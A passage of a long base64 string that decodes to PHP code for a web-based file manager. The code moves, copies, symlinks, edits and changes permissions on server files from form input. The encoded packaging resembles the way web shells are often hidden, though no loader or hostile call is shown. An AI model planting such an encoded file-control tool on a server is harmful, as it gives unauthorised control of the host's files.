ZSkgLiAnPC9wPg0KCTxociAvPg0KCScgLiB3b3JkKCdkZXN0aW5hdGlvbicpIC4gJzoNCgk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZGVzdGluYXRpb24iIHNpemU9IicgLiB0ZXh0ZmllbGRzaXplKCRmaWxlKSAuICciIHZhbHVlPSInIC4gaHRtbCgkZmlsZSkgLiAnIiAvPg0KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSInIC4gd29yZCgncmVuYW1lJykgLiAnIiAvPg0KPC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KDQo8cD48YSBocmVmPSInIC4gJHNlbGYgLiAnP2Rpcj0nIC4gdXJsZW5jb2RlKCRkaXJlY3RvcnkpIC4gJyI+WyAnIC4gd29yZCgnYmFjaycpIC4gJyBdPC9hPjwvcD4NCg0KPC9mb3JtPg0KDQonOw0KDQoJCWh0bWxfZm9vdGVyKCk7DQoNCgl9DQoNCglicmVhazsNCg0KY2FzZSAnbW92ZSc6DQoNCglpZiAoIWVtcHR5KCRfUE9TVFsnZGVzdGluYXRpb24nXSkpIHsNCg0KCQkkZGVzdCA9IHJlbGF0aXZlMmFic29sdXRlKCRfUE9TVFsnZGVzdGluYXRpb24nXSwgJGRpcmVjdG9yeSk7DQoNCgkJJGZhaWx1cmUgPSBhcnJheSgpOw0KCQkkc3VjY2VzcyA9IGFycmF5KCk7DQoNCgkJZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlKSB7DQoJCQkkZmlsZW5hbWUgPSBzdWJzdHIoJGZpbGUsIHN0cmxlbigkZGlyZWN0b3J5KSk7DQoJCQkkZCA9ICRkZXN0IC4gJGZpbGVuYW1lOw0KCQkJaWYgKCFAZmlsZV9leGlzdHMoJGQpICYmIEByZW5hbWUoJGZpbGUsICRkKSkgew0KCQkJCSRzdWNjZXNzW10gPSAkZmlsZTsNCgkJCX0gZWxzZSB7DQoJCQkJJGZhaWx1cmVbXSA9ICRmaWxlOw0KCQkJfQ0KCQl9DQoNCgkJJG1lc3NhZ2UgPSAnJzsNCgkJaWYgKHNpemVvZigkZmFpbHVyZSkgPiAwKSB7DQoJCQkkbWVzc2FnZSA9IGVycm9yKCdub3RfbW92ZWQnLCBpbXBsb2RlKCJcbiIsICRmYWlsdXJlKSwgJGRlc3QpOw0KCQl9DQoJCWlmIChzaXplb2YoJHN1Y2Nlc3MpID4gMCkgew0KCQkJJG1lc3NhZ2UgLj0gbm90aWNlKCdtb3ZlZCcsIGltcGxvZGUoIlxuIiwgJHN1Y2Nlc3MpLCAkZGVzdCk7DQoJCX0NCg0KCQlsaXN0aW5nX3BhZ2UoJG1lc3NhZ2UpOw0KDQoJfSBlbHNlIHsNCg0KCQlodG1sX2hlYWRlcigpOw0KDQoJCWVjaG8gJzxmb3JtIGFjdGlvbj0iJyAuICRzZWxmIC4gJyIgbWV0aG9kPSJwb3N0Ij4NCg0KPHRhYmxlIGNsYXNzPSJkaWFsb2ciPg0KPHRyPg0KPHRkIGNsYXNzPSJkaWFsb2ciPg0KJzsNCg0KCQlyZXF1ZXN0X2R1bXAoKTsNCg0KCQllY2hvICJcdDxiPiIgLiB3b3JkKCdtb3ZlX2ZpbGVzJykgLiAnPC9iPg0KCTxwPg0KJzsNCg0KCQlmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCgkJCWVjaG8gIlx0IiAuIGh0bWwoJGZpbGUpIC4gIjxiciAvPlxuIjsNCgkJfQ0KDQoJCWVjaG8gJwk8L3A+DQoJPGhyIC8+DQoJJyAuIHdvcmQoJ2Rlc3RpbmF0aW9uJykgLiAnOg0KCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkZXN0aW5hdGlvbiIgc2l6ZT0iJyAuIHRleHRmaWVsZHNpemUoJGRpcmVjdG9yeSkgLiAnIiB2YWx1ZT0iJyAuIGh0bWwoJGRpcmVjdG9yeSkgLiAnIiAvPg0KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSInIC4gd29yZCgnbW92ZScpIC4gJyIgLz4NCjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCg0KPHA+PGEgaHJlZj0iJyAuICRzZWxmIC4gJz9kaXI9JyAuIHVybGVuY29kZSgkZGlyZWN0b3J5KSAuICciPlsgJyAuIHdvcmQoJ2JhY2snKSAuICcgXTwvYT48L3A+DQoNCjwvZm9ybT4NCg0KJzsNCg0KCQlodG1sX2Zvb3RlcigpOw0KDQoJfQ0KDQoJYnJlYWs7DQoNCmNhc2UgJ2NvcHknOg0KDQoJaWYgKCFlbXB0eSgkX1BPU1RbJ2Rlc3RpbmF0aW9uJ10pKSB7DQoNCgkJJGRlc3QgPSByZWxhdGl2ZTJhYnNvbHV0ZSgkX1BPU1RbJ2Rlc3RpbmF0aW9uJ10sICRkaXJlY3RvcnkpOw0KDQoJCWlmIChAaXNfZGlyKCRkZXN0KSkgew0KDQoJCQkkZmFpbHVyZSA9IGFycmF5KCk7DQoJCQkkc3VjY2VzcyA9IGFycmF5KCk7DQoNCgkJCWZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZSkgew0KCQkJCSRmaWxlbmFtZSA9IHN1YnN0cigkZmlsZSwgc3RybGVuKCRkaXJlY3RvcnkpKTsNCgkJCQkkZCA9IGFkZHNsYXNoKCRkZXN0KSAuICRmaWxlbmFtZTsNCgkJCQlpZiAoIUBpc19kaXIoJGZpbGUpICYmICFAZmlsZV9leGlzdHMoJGQpICYmIEBjb3B5KCRmaWxlLCAkZCkpIHsNCgkJCQkJJHN1Y2Nlc3NbXSA9ICRmaWxlOw0KCQkJCX0gZWxzZSB7DQoJCQkJCSRmYWlsdXJlW10gPSAkZmlsZTsNCgkJCQl9DQoJCQl9DQoNCgkJCSRtZXNzYWdlID0gJyc7DQoJCQlpZiAoc2l6ZW9mKCRmYWlsdXJlKSA+IDApIHsNCgkJCQkkbWVzc2FnZSA9IGVycm9yKCdub3RfY29waWVkJywgaW1wbG9kZSgiXG4iLCAkZmFpbHVyZSksICRkZXN0KTsNCgkJCX0NCgkJCWlmIChzaXplb2YoJHN1Y2Nlc3MpID4gMCkgew0KCQkJCSRtZXNzYWdlIC49IG5vdGljZSgnY29waWVkJywgaW1wbG9kZSgiXG4iLCAkc3VjY2VzcyksICRkZXN0KTsNCgkJCX0NCg0KCQkJbGlzdGluZ19wYWdlKCRtZXNzYWdlKTsNCg0KCQl9IGVsc2Ugew0KDQoJCQlpZiAoIUBmaWxlX2V4aXN0cygkZGVzdCkgJiYgQGNvcHkoJGZpbGUsICRkZXN0KSkgew0KCQkJCWxpc3RpbmdfcGFnZShub3RpY2UoJ2NvcGllZCcsICRmaWxlLCAkZGVzdCkpOw0KCQkJfSBlbHNlIHsNCgkJCQlsaXN0aW5nX3BhZ2UoZXJyb3IoJ25vdF9jb3BpZWQnLCAkZmlsZSwgJGRlc3QpKTsNCgkJCX0NCg0KCQl9DQoNCgl9IGVsc2Ugew0KDQoJCWh0bWxfaGVhZGVyKCk7DQoNCgkJZWNobyAnPGZvcm0gYWN0aW9uPSInIC4gJHNlbGYgLiAnIiBtZXRob2Q9InBvc3QiPg0KDQo8dGFibGUgY2xhc3M9ImRpYWxvZyI+DQo8dHI+DQo8dGQgY2xhc3M9ImRpYWxvZyI+DQonOw0KDQoJCXJlcXVlc3RfZHVtcCgpOw0KDQoJCWVjaG8gIlxuPGI+IiAuIHdvcmQoJ2NvcHlfZmlsZXMnKSAuICc8L2I+DQoJPHA+DQonOw0KDQoJCWZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZSkgew0KCQkJZWNobyAiXHQiIC4gaHRtbCgkZmlsZSkgLiAiPGJyIC8+XG4iOw0KCQl9DQoNCgkJZWNobyAnCTwvcD4NCgk8aHIgLz4NCgknIC4gd29yZCgnZGVzdGluYXRpb24nKSAuICc6DQoJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRlc3RpbmF0aW9uIiBzaXplPSInIC4gdGV4dGZpZWxkc2l6ZSgkZGlyZWN0b3J5KSAuICciIHZhbHVlPSInIC4gaHRtbCgkZGlyZWN0b3J5KSAuICciIC8+DQoJPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IicgLiB3b3JkKCdjb3B5JykgLiAnIiAvPg0KPC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KDQo8cD48YSBocmVmPSInIC4gJHNlbGYgLiAnP2Rpcj0nIC4gdXJsZW5jb2RlKCRkaXJlY3RvcnkpIC4gJyI+WyAnIC4gd29yZCgnYmFjaycpIC4gJyBdPC9hPjwvcD4NCg0KPC9mb3JtPg0KDQonOw0KDQoJCWh0bWxfZm9vdGVyKCk7DQoNCgl9DQoNCglicmVhazsNCg0KY2FzZSAnY3JlYXRlX3N5bWxpbmsnOg0KDQoJaWYgKCFlbXB0eSgkX1BPU1RbJ2Rlc3RpbmF0aW9uJ10pKSB7DQoNCgkJJGRlc3QgPSByZWxhdGl2ZTJhYnNvbHV0ZSgkX1BPU1RbJ2Rlc3RpbmF0aW9uJ10sICRkaXJlY3RvcnkpOw0KDQoJCWlmIChzdWJzdHIoJGRlc3QsIC0xLCAxKSA9PSAkZGVsaW0pICRkZXN0IC49IGJhc2VuYW1lKCRmaWxlKTsNCg0KCQlpZiAoIWVtcHR5KCRfUE9TVFsncmVsYXRpdmUnXSkpICRmaWxlID0gYWJzb2x1dGUycmVsYXRpdmUoYWRkc2xhc2goZGlybmFtZSgkZGVzdCkpLCAkZmlsZSk7DQoNCgkJaWYgKCFAZmlsZV9leGlzdHMoJGRlc3QpICYmIEBzeW1saW5rKCRmaWxlLCAkZGVzdCkpIHsNCgkJCWxpc3RpbmdfcGFnZShub3RpY2UoJ3N5bWxpbmtlZCcsICRmaWxlLCAkZGVzdCkpOw0KCQl9IGVsc2Ugew0KCQkJbGlzdGluZ19wYWdlKGVycm9yKCdub3Rfc3ltbGlua2VkJywgJGZpbGUsICRkZXN0KSk7DQoJCX0NCg0KCX0gZWxzZSB7DQoNCgkJaHRtbF9oZWFkZXIoKTsNCg0KCQllY2hvICc8Zm9ybSBhY3Rpb249IicgLiAkc2VsZiAuICciIG1ldGhvZD0icG9zdCI+DQoNCjx0YWJsZSBjbGFzcz0iZGlhbG9nIiBpZD0ic3ltbGluayI+DQo8dHI+DQoJPHRkIHN0eWxlPSJ2ZXJ0aWNhbC1hbGlnbjogdG9wIj4nIC4gd29yZCgnZGVzdGluYXRpb24nKSAuICc6IDwvdGQ+DQoJPHRkPg0KCQk8Yj4nIC4gaHRtbCgkZmlsZSkgLiAnPC9iPjxiciAvPg0KCQk8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9InJlbGF0aXZlIiB2YWx1ZT0ieWVzIiBpZD0iY2hlY2tib3hfcmVsYXRpdmUiIGNoZWNrZWQ9ImNoZWNrZWQiIHN0eWxlPSJtYXJnaW4tdG9wOiAxZXgiIC8+DQoJCTxsYWJlbCBmb3I9ImNoZWNrYm94X3JlbGF0aXZlIj4nIC4gd29yZCgncmVsYXRpdmUnKSAuICc8L2xhYmVsPg0KCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJjcmVhdGVfc3ltbGluayIgLz4NCgkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZmlsZSIgdmFsdWU9IicgLiBodG1sKCRmaWxlKSAuICciIC8+DQoJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImRpciIgdmFsdWU9IicgLiBodG1sKCRkaXJlY3RvcnkpIC4gJyIgLz4NCgk8L3RkPg0KPC90cj4NCjx0cj4NCgk8dGQ+JyAuIHdvcmQoJ3N5bWxpbmsnKSAuICc6IDwvdGQ+DQoJPHRkPg0KCQk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZGVzdGluYXRpb24iIHNpemU9IicgLiB0ZXh0ZmllbGRzaXplKCRkaXJlY3RvcnkpIC4gJyIgdmFsdWU9IicgLiBodG1sKCRkaXJlY3RvcnkpIC4gJyIgLz4NCgkJPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IicgLiB3b3JkKCdjcmVhdGVfc3ltbGluaycpIC4gJyIgLz4NCgk8L3RkPg0KPC90cj4NCjwvdGFibGU+DQoNCjxwPjxhIGhyZWY9IicgLiAkc2VsZiAuICc/ZGlyPScgLiB1cmxlbmNvZGUoJGRpcmVjdG9yeSkgLiAnIj5bICcgLiB3b3JkKCdiYWNrJykgLiAnIF08L2E+PC9wPg0KDQo8L2Zvcm0+DQoNCic7DQoNCgkJaHRtbF9mb290ZXIoKTsNCg0KCX0NCg0KCWJyZWFrOw0KDQpjYXNlICdlZGl0JzoNCg0KCWlmICghZW1wdHkoJF9QT1NUWydzYXZlJ10pKSB7DQoNCgkJJGNvbnRlbnQgPSBzdHJfcmVwbGFjZSgiXHJcbiIsICJcbiIsICRfUE9TVFsnY29udGVudCddKTsNCg0KCQlpZiAoKCRmID0gQGZvcGVuKCRmaWxlLCAndycpKSAmJiBAZndyaXRlKCRmLCAkY29udGVudCkgIT09IGZhbHNlICYmIEBmY2xvc2UoJGYpKSB7DQoJCQlsaXN0aW5nX3BhZ2Uobm90aWNlKCdzYXZlZCcsICRmaWxlKSk7DQoJCX0gZWxzZSB7DQoJCQlsaXN0aW5nX3BhZ2UoZXJyb3IoJ25vdF9zYXZlZCcsICRmaWxlKSk7DQoJCX0NCg0KCX0gZWxzZSB7DQoNCgkJaWYgKEBpc19yZWFkYWJsZSgkZmlsZSkgJiYgQGlzX3dyaXRhYmxlKCRmaWxlKSkgew0KCQkJZWRpdCgkZmlsZSk7DQoJCX0gZWxzZSB7DQoJCQlsaXN0aW5nX3BhZ2UoZXJyb3IoJ25vdF9lZGl0ZWQnLCAkZmlsZSkpOw0KCQl9DQoNCgl9DQoNCglicmVhazsNCg0KY2FzZSAncGVybWlzc2lvbic6DQoNCglpZiAoIWVtcHR5KCRfUE9TVFsnc2V0J10pKSB7DQoNCgkJJG1vZGUgPSAwOw0KCQlpZiAoIWVtcHR5KCRfUE9TVFsndXInXSkpICRtb2RlIHw9IDA0MDA7IGlmICghZW1wdHkoJF9QT1NUWyd1dyddKSkgJG1vZGUgfD0gMDIwMDsgaWYgKCFlbXB0eSgkX1BPU1RbJ3V4J10pKSAkbW9kZSB8PSAwMTAwOw0KCQlpZiAoIWVtcHR5KCRfUE9TVFsnZ3InXSkpICRtb2RlIHw9IDAwNDA7IGlmICghZW1wdHkoJF9QT1NUWydndyddKSkgJG1vZGUgfD0gMDAyMDsgaWYgKCFlbXB0eSgkX1BPU1RbJ2d4J10pKSAkbW9kZSB8PSAwMDEwOw0KCQlpZiAoIWVtcHR5KCRfUE9TVFsnb3InXSkpICRtb2RlIHw9IDAwMDQ7IGlmICghZW1wdHkoJF9QT1NUWydvdyddKSkgJG1vZGUgfD0gMDAwMjsgaWYgKCFlbXB0eSgkX1BPU1RbJ294J10pKSAkbW9kZSB8PSAwMDAxOw0KDQoJCWlmIChAY2htb2QoJGZpbGUsICRtb2RlKSkgew0KCQkJbGlzdGluZ19wYWdlKG5vdGljZSgncGVybWlzc2lvbl9zZXQnLCAkZmlsZSwgZGVjb2N0KCRtb2RlKSkpOw0KCQl9IGVsc2Ugew0KCQkJbGlzdGluZ19wYWdlKGVycm9yKCdwZXJtaXNzaW9uX25vdF9zZXQnLCAkZmlsZSwgZGVjb2N0KCRtb2RlKSkpOw0KCQl9DQoNCgl9IGVsc2Ugew0KDQoJCWh0bWxfaGVhZGVyKCk7DQoNCgkJJG1vZGUgPSBmaWxlcGVybXMoJGZpbGUpOw0KDQoJCWVjaG8gJzxmb3JtIGFjdGlvbj0iJyAuICRzZWxmIC4gJyIgbWV0aG9kPSJwb3N0Ij4NCg0KPHRhYmxlIGNsYXNzPSJkaWFsb2ciPg0KPHRyPg0KPHRkIGNsYXNzPSJkaWFsb2ciPg0KDQoJPHAgc3R5bGU9Im1hcmdpbjogMCI+JyAuIHBocmFzZSgncGVybWlzc2lvbl9mb3InLCAkZmlsZSkgLiAnPC9wPg0KDQoJPGhyIC8+DQoNCgk8dGFibGUgaWQ9InBlcm1pc3Npb24iPg0KCTx0cj4NCgkJPHRkPjwvdGQ+DQoJCTx0ZCBzdHlsZT0iYm9yZGVyLXJpZ2h0OiAxcHggc29saWQgYmxhY2siPicgLiB3b3JkKCdvd25lcicpIC4gJzwvdGQ+DQoJCTx0ZCBzdHlsZT0iYm9yZGVyLXJpZ2h0OiAxcHggc29saWQgYmxhY2siPicgLiB3b3JkKCdncm91cCcpIC4gJzwvdGQ+DQoJCTx0ZD4nIC4gd29yZCgnb3RoZXInKSAuICc8L3RkPg0KCTwvdHI+DQoJPHRyPg0KCQk8dGQgc3R5bGU9InRleHQtYWxpZ246IHJpZ2h0Ij4nIC4gd29yZCgncmVhZCcpIC4gJzo8L3RkPg0KCQk8dGQ+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJ1ciIgdmFsdWU9IjEiJzsgaWYgKCRtb2RlICYgMDA0MDApIGVjaG8gJyBjaGVja2VkPSJjaGVja2VkIic7IGVjaG8gJyAvPjwvdGQ+DQoJCTx0ZD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9ImdyIiB2YWx1ZT0iMSInOyBpZiAoJG1vZGUgJiAwMDA0MCkgZWNobyAnIGNoZWNrZWQ9ImNoZWNrZWQiJzsgZWNobyAnIC8+PC90ZD4NCgkJPHRkPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ib3IiIHZhbHVlPSIxIic7IGlmICgkbW9kZSAmIDAwMDA0KSBlY2hvICcgY2hlY2tlZD0iY2hlY2tlZCInOyBlY2hvICcgLz48L3RkPg0KCTwvdHI+DQoJPHRyPg0KCQk8dGQgc3R5bGU9InRleHQtYWxpZ246IHJpZ2h0Ij4nIC4gd29yZCgnd3JpdGUnKSAuICc6PC90ZD4NCgkJPHRkPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0idXciIHZhbHVlPSIxIic7IGlmICgkbW9kZSAmIDAwMjAwKSBlY2hvICcgY2hlY2tlZD0iY2hlY2tlZCInOyBlY2hvICcgLz48L3RkPg0KCQk8dGQ+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJndyIgdmFsdWU9IjEiJzsgaWYgKCRtb2RlICYgMDAwMjApIGVjaG8gJyBjaGVja2VkPSJjaGVja2VkIic7IGVjaG8gJyAvPjwvdGQ+DQoJCTx0ZD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im93IiB2YWx1ZT0iMSInOyBpZiAoJG1vZGUgJiAwMDAwMikgZWNobyAnIGNoZWNrZWQ9ImNoZWNrZWQiJzsgZWNobyAnIC8+PC90ZD4NCgk8L3RyPg0KCTx0cj4NCgkJPHRkIHN0eWxlPSJ0ZXh0LWFsaWduOiByaWdodCI+JyAuIHdvcmQoJ2V4ZWN1dGUnKSAuICc6PC90ZD4NCgkJPHRkPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0idXgiIHZhbHVlPSIxIic7IGlmICgkbW9kZSAmIDAwMTAwKSBlY2hvICcgY2hlY2tlZD0iY2hlY2tlZCInOyBlY2hvICcgLz48L3RkPg0KCQk8dGQ+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJneCIgdmFsdWU9IjEiJzsgaWYgKCRtb2RlICYgMDAwMTApIGVjaG8gJyBjaGVja2VkPSJjaGVja2VkIic7IGVjaG8gJyAvPjwvdGQ+DQoJCTx0ZD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im94IiB2YWx1ZT0iMSInOyBpZiAoJG1vZGUgJiAwMDAwMSkgZWNobyAnIGNoZWNrZWQ9ImNoZWNrZWQiJzsgZWNobyAnIC8+PC90ZD4NCgk8L3RyPg0KCTwvdGFibGU+DQoNCgk8aHIgLz4NCg0KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InNldCIgdmFsdWU9IicgLiB3b3JkKCdzZXQnKSAuICciIC8+DQoNCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJwZXJtaXNzaW9uIiAvPg0KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGUiIHZhbHVlPSInIC4gaHRtbCgkZmlsZSkgLiAnIiAvPg0KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImRpciIgdmFsdWU9IicgLiBodG1sKCRkaXJlY3RvcnkpIC4gJyIgLz4NCg0KPC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KDQo8cD48YSBocmVmPSInIC4gJHNlbGYgLiAnP2Rpcj0nIC4gdXJsZW5jb2RlKCRkaXJlY3RvcnkpIC4gJyI+WyAnIC4gd29yZCgnYmFjaycpIC4gJyBdPC9hPjwvcD4NCg0KPC9mb3JtPg0KDQonOw0KDQoJCWh0bWxfZm9vdGVyKCk7DQoNCgl9DQoNCglicmVhazsNCg0KZGVmYXVsdDoNCg0KCWxpc3RpbmdfcGFnZShudWxsKTsNCg0KfQ0KDQovKiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tICovDQoNCmZ1bmN0aW9uIGdldGxpc3QgKCRkaXJlY3RvcnkpIHsNCglnbG9iYWwgJGRlbGltLCAkd2luOw0KDQoJaWYgKCRkID0gQG9wZW5kaXIoJGRpcmVjdG9yeSkpIHsNCg0KCQl3aGlsZSAoKCRmaWxlbmFtZSA9IEByZWFkZGlyKCRkKSkgIT09IGZhbHNlKSB7DQoNCgkJCSRwYXRoID0gcmVsYXRpdmUyYWJzb2x1dGUoJGZpbGVuYW1lLCAkZGlyZWN0b3J5KTsNCg0KCQkJaWYgKCRzdGF0ID0gQGxzdGF0KCRwYXRoKSkgew0KDQoJCQkJJGZpbGUgPSBhcnJheSgNCgkJCQkJJ2ZpbGVuYW1lJyAgICA9PiAkZmlsZW5hbWUsDQoJCQkJCSdwYXRoJyAgICAgICAgPT4gJHBhdGgsDQoJCQkJCSdpc19maWxlJyAgICAgPT4gQGlzX2ZpbGUoJHBhdGgpLA0KCQkJCQknaXNfZGlyJyAgICAgID0+IEBpc19kaXIoJHBhdGgpLA0KCQkJCQknaXNfbGluaycgICAgID0+IEBpc19saW5rKCRwYXRoKSwNCgkJCQkJJ2lzX3JlYWRhYmxlJyA9PiBAaXNfcmVhZGFibGUoJHBhdGgpLA0KCQkJCQknaXNfd3JpdGFibGUnID0+IEBpc193cml0YWJsZSgkcGF0aCksDQoJCQkJCSdzaXplJyAgICAgICAgPT4gJHN0YXRbJ3NpemUnXSwNCgkJCQkJJ3Blcm1pc3Npb24nICA9PiAkc3RhdFsnbW9kZSddLA0KCQkJCQknb3duZXInICAgICAgID0+ICRzdGF0Wyd1aWQnXSwNCgkJCQkJJ2dyb3VwJyAgICAgICA9PiAkc3RhdFsnZ2lkJ10sDQoJCQkJCSdtdGltZScgICAgICAgPT4gQGZpbGVtdGltZSgkcGF0aCksDQoJCQkJCSdhdGltZScgICAgICAgPT4gQGZpbGVhdGltZSgkcGF0aCksDQoJCQkJCSdjdGltZScgICAgICAgPT4gQGZpbGVjdGltZSgkcGF0aCkNCgkJCQkpOw0KDQoJCQkJaWYgKCEkd2luKSB7DQoJCQkJCWlmICgkZmlsZVsnaXNfZGlyJ10pIHsNCgkJCQkJCS8qIGFsc28gcmV0dXJucyB0cnVlLCBpZiB0aGUgZGlyZWN0b3J5IGlzIG5vdA0KCQkJCQkJICogZXhlY3V0YWJsZSBidXQgcmVhZGFibGUNCgkJCQkJCSAqLw0KCQkJCQkJaWYgKCgkbyA9IEBvcGVuZGlyKCRwYXRoKSkgIT09IGZhbHNlKSB7DQoJCQkJCQkJY2xvc2VkaXIoJG8pOw0KCQkJCQkJCSRmaWxlWydpc19leGVjdXRhYmxlJ10gPSB0cnVlOw0KCQkJCQkJfSBlbHNlIHsNCgkJCQkJCQkkZmlsZVsnaXNfZXhlY3V0YWJsZSddID0gZmFsc2U7DQoJCQkJCQl9DQoJCQkJCX0gZWxzZSB7DQoJCQkJCQkkZmlsZVsnaXNfZXhlY3V0YWJsZSddID0gQGlzX2V4ZWN1dGFibGUoJHBhdGgpOw0KCQkJCQl9DQoJCQkJfSBlbHNlIHsNCgkJCQkJJGZpbGVbJ2lzX2V4ZWN1dGFibGUnXSA9IHRydWU7DQoJCQkJfQ0KDQoJCQkJaWYgKCRmaWxlWydpc19saW5rJ10pICRmaWxlWyd0YXJnZXQnXSA9IEByZWFkbGluaygkcGF0aCk7DQoNCgkJCQlpZiAoZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRwd3VpZCcpKSAkZmlsZVsnb3duZXJfbmFtZSddID0gQHJlc2V0KHBvc2l4X2dldHB3dWlkKCRmaWxlWydvd25lciddKSk7DQoJCQkJaWYgKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0Z3JnaWQnKSkgJGZpbGVbJ2dyb3VwX25hbWUnXSA9IEByZXNldChwb3NpeF9nZXRncmdpZCgkZmlsZVsnZ3JvdXAnXSkpOw0KDQoJCQkJJGZpbGVzW10gPSAkZmlsZTsNCg0KCQkJfQ0KDQoJCX0NCg0KCQlyZXR1cm4gJGZpbGVzOw0KDQoJfSBlbHNlIHsNCgkJcmV0dXJuIGZhbHNlOw0KCX0NCg0KfQ0KDQpmdW5jdGlvbiBzb3J0bGlzdCAoJiRsaXN0LCAka2V5LCAkcmV2ZXJzZSkgew0KDQoJcXVpY2tzb3J0KCRsaXN0LCAwLCBzaXplb2YoJGxpc3QpIC0gMSwgJGtleSk7DQoNCglpZiAoJHJldmVyc2UpICRsaXN0ID0gYXJyYXlfcmV2ZXJzZSgkbGlzdCk7DQoNCn0NCg0KZnVuY3Rpb24gcXVpY2tzb3J0ICgmJGFycmF5LCAkZmlyc3QsICRsYXN0LCAka2V5KSB7DQoNCglpZiAoJGZpcnN0IDwgJGxhc3QpIHsNCg0KCQkkY21wID0gJGFycmF5W2Zsb29yKCgkZmlyc3QgKyAkbGFzdCkgLyAyKV1bJGtleV07DQoNCgkJJGwgPSAkZmlyc3Q7DQoJCSRyID0gJGxhc3Q7DQoNCgkJd2hpbGUgKCRsIDw9ICRyKSB7DQoNCgkJCXdoaWxlICgkYXJyYXlbJGxdWyRrZXldIDwgJGNtcCkgJGwrKzsNCgkJCXdoaWxlICgkYXJyYXlbJHJdWyRrZXldID4gJGNtcCkgJHItLTsNCg0KCQkJaWYgKCRsIDw9ICRyKSB7DQoNCgkJCQkkdG1wID0gJGFycmF5WyRsXTsNCgkJCQkkYXJyYXlbJGxdID0gJGFycmF5WyRyXTsNCgkJCQkkYXJyYXlbJHJdID0gJHRtcDsNCg0KCQkJCSRsKys7DQoJCQkJJHItLTsNCg0KCQkJfQ0KDQoJCX0NCg0KCQlxdWlja3NvcnQoJGFycmF5LCAkZmlyc3QsICRyLCAka2V5KTsNCgkJcXVpY2tzb3J0KCRhcnJheSwgJGwsICRsYXN0LCAka2V5KTsNCg0KCX0NCg0KfQ0KDQpmdW5jdGlvbiBwZXJtaXNzaW9uX29jdGFsMnN0cmluZyAoJG1vZGUpIHsNCg0KCWlmICgoJG1vZGUgJiAweEMwMDApID09PSAweEMwMDApIHsNCgkJJHR5cGUgPSAncyc7DQoJfSBlbHNlaWYgKCgkbW9kZSAmIDB4QTAwMCkgPT09IDB4QTAwMCkgew0KCQkkdHlwZSA9ICdsJzsNCgl9IGVsc2VpZiAoKCRtb2RlICYgMHg4MDAwKSA9PT0gMHg4MDAwKSB7DQoJCSR0eXBlID0gJy0nOw0KCX0gZWxzZWlmICgoJG1vZGUgJiAweDYwMDApID09PSAweDYwMDApIHsNCgkJJHR5cGUgPSAnYic7DQoJfSBlbHNlaWYgKCgkbW9kZSAmIDB4NDAwMCkgPT09IDB4NDAwMCkgew0KCQkkdHlwZSA9ICdkJzsNCgl9IGVsc2VpZiAoKCRtb2RlICYgMHgyMDAwKSA9PT0gMHgyMDAwKSB7DQoJCSR0eXBlID0gJ2MnOw0KCX0gZWxzZWlmICgoJG1vZGUgJiAweDEwMDApID09PSAweDEwMDApIHsNCgkJJHR5cGUgPSAncCc7DQoJfSBlbHNlIHsNCgkJJHR5cGUgPSAnPyc7DQoJfQ0KDQoJJG93bmVyICA9ICgkbW9kZSAmIDAwNDAwKSA/ICdyJyA6ICctJzsNCgkkb3duZXIgLj0gKCRtb2RlICYgMDAyMDApID8gJ3cnIDogJy0nOw0KCWlmICgkbW9kZSAmIDB4ODAwKSB7DQoJCSRvd25lciAuPSAoJG1vZGUgJiAwMDEwMCkgPyAncycgOiAnUyc7DQoJfSBlbHNlIHsNCgkJJG93bmVyIC49ICgkbW9kZSAmIDAwMTAwKSA/ICd4JyA6ICctJzsNCgl9DQoNCgkkZ3JvdXAgID0gKCRtb2RlICYgMDAwNDApID8gJ3InIDogJy0nOw0KCSRncm91cCAuPSAoJG1vZGUgJiAwMDAyMCkgPyAndycgOiAnLSc7DQoJaWYgKCRtb2RlICYgMHg0MDApIHsNCgkJJGdyb3VwIC49ICgkbW9kZSAmIDAwMDEwKSA/ICdzJyA6ICdTJzsNCgl9IGVsc2Ugew0KCQkkZ3JvdXAgLj0gKCRtb2RlICYgMDAwMTApID8gJ3gnIDogJy0nOw0KCX0NCg0KCSRvdGhlciAgPSAoJG1vZGUgJiAwMDAwNCkgPyAncicgOiAnLSc7DQoJJG90aGVyIC49ICgk